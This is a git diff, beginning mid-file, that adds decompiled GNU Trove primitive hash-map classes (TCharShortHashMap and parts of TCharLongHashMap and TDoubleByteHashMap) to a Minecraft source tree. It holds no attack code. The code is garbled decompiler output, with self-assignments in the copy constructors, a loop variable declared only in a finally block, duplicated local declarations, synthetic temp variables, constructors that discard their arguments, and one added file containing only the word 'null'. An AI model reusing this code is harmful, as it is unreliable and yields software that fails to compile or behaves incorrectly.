+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TCharLongHashIterator
+    extends THashPrimitiveIterator
+    implements TCharLongIterator
+  {
+    TCharLongHashIterator(TCharLongHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public char key()
+    {
+      return _set[_index];
+    }
+    
+    public long value()
+    {
+      return _values[_index];
+    }
+    
+    public long setValue(long val)
+    {
+      long old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TCharLongMap)) {
+      return false;
+    }
+    TCharLongMap that = (TCharLongMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    long[] values = _values;
+    byte[] states = _states;
+    long this_no_entry_value = getNoEntryValue();
+    long that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        char key = _set[i];
+        long that_value = that.get(key);
+        long this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TCharLongProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(char key, long value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeChar(_set[i]);
+        out.writeLong(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      char key = in.readChar();
+      long val = in.readLong();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TCharObjectHashMap.java b/src/minecraft/gnu/trove/map/hash/TCharObjectHashMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TCharObjectHashMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/gnu/trove/map/hash/TCharShortHashMap.java b/src/minecraft/gnu/trove/map/hash/TCharShortHashMap.java
new file mode 100644
index 0000000..b97430a
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TCharShortHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TCharShortHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TCharShortIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TCharShortMap;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TCharShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharShortHashMap
+  extends TCharShortHash
+  implements TCharShortMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient short[] _values;
+  
+  public TCharShortHashMap() {}
+  
+  public TCharShortHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharShortHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TCharShortHashMap(int initialCapacity, float loadFactor, char noEntryKey, short noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TCharShortHashMap(char[] keys, short[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TCharShortHashMap(TCharShortMap map)
+  {
+    super(map.size());
+    if ((map instanceof TCharShortHashMap)) {
+      TCharShortHashMap hashmap = (TCharShortHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    char[] oldKeys = _set;
+    short[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new char[newCapacity];
+    _values = new short[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        char o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public short put(char key, short value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public short putIfAbsent(char key, short value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private short doPut(char key, short value, int index)
+  {
+    short previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Character, ? extends Short> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Character, ? extends Short> entry : map.entrySet()) {
+      put(((Character)entry.getKey()).charValue(), ((Short)entry.getValue()).shortValue());
+    }
+  }
+  
+
+  public void putAll(TCharShortMap map)
+  {
+    ensureCapacity(map.size());
+    TCharShortIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public short get(char key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public short remove(char key)
+  {
+    short prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TCharSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public char[] keys()
+  {
+    char[] keys = new char[size()];
+    char[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public char[] keys(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TShortCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public short[] values()
+  {
+    short[] vals = new short[size()];
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public short[] values(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(short val)
+  {
+    byte[] states = _states;
+    short[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(char key)
+  {
+    return contains(key);
+  }
+  
+
+  public TCharShortIterator iterator()
+  {
+    return new TCharShortHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TCharProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TCharShortProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] keys = _set;
+    short[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TShortFunction function)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TCharShortProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    char[] keys = _set;
+    short[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(char key)
+  {
+    return adjustValue(key, (short)1);
+  }
+  
+
+  public boolean adjustValue(char key, short amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; short[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((short)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public short adjustOrPutValue(char key, short adjust_amount, short put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    short newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; short[] tmp25_20 = _values;short newValue = tmp25_20[tmp25_23] = (short)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TCharSet
+  {
+    protected TKeyView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TCharShortHashMap.TCharShortKeyHashIterator(TCharShortHashMap.this, TCharShortHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return TCharShortHashMap.this.contains(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!TCharShortHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TCharSet)) {
+        return false;
+      }
+      TCharSet that = (TCharSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TShortCollection
+  {
+    protected TValueView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TCharShortHashMap.TCharShortValueHashIterator(TCharShortHashMap.this, TCharShortHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return values();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      short[] values = _values;
+      char[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != '\002') && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TCharShortKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TCharShortKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TCharShortValueHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TCharShortValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TCharShortHashIterator
+    extends THashPrimitiveIterator
+    implements TCharShortIterator
+  {
+    TCharShortHashIterator(TCharShortHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public char key()
+    {
+      return _set[_index];
+    }
+    
+    public short value()
+    {
+      return _values[_index];
+    }
+    
+    public short setValue(short val)
+    {
+      short old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TCharShortMap)) {
+      return false;
+    }
+    TCharShortMap that = (TCharShortMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    short[] values = _values;
+    byte[] states = _states;
+    short this_no_entry_value = getNoEntryValue();
+    short that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        char key = _set[i];
+        short that_value = that.get(key);
+        short this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TCharShortProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(char key, short value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeChar(_set[i]);
+        out.writeShort(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      char key = in.readChar();
+      short val = in.readShort();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TDoubleByteHashMap.java b/src/minecraft/gnu/trove/map/hash/TDoubleByteHashMap.java
new file mode 100644
index 0000000..874d35a
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TDoubleByteHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TDoubleByteHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TDoubleByteIterator;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.map.TDoubleByteMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TDoubleByteProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleByteHashMap
+  extends TDoubleByteHash
+  implements TDoubleByteMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient byte[] _values;
+  
+  public TDoubleByteHashMap() {}
+  
+  public TDoubleByteHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleByteHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TDoubleByteHashMap(int initialCapacity, float loadFactor, double noEntryKey, byte noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleByteHashMap(double[] keys, byte[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TDoubleByteHashMap(TDoubleByteMap map)
+  {
+    super(map.size());
+    if ((map instanceof TDoubleByteHashMap)) {
+      TDoubleByteHashMap hashmap = (TDoubleByteHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0D) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    double[] oldKeys = _set;
+    byte[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new double[newCapacity];
+    _values = new byte[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        double o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public byte put(double key, byte value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public byte putIfAbsent(double key, byte value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private byte doPut(double key, byte value, int index)
+  {
+    byte previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
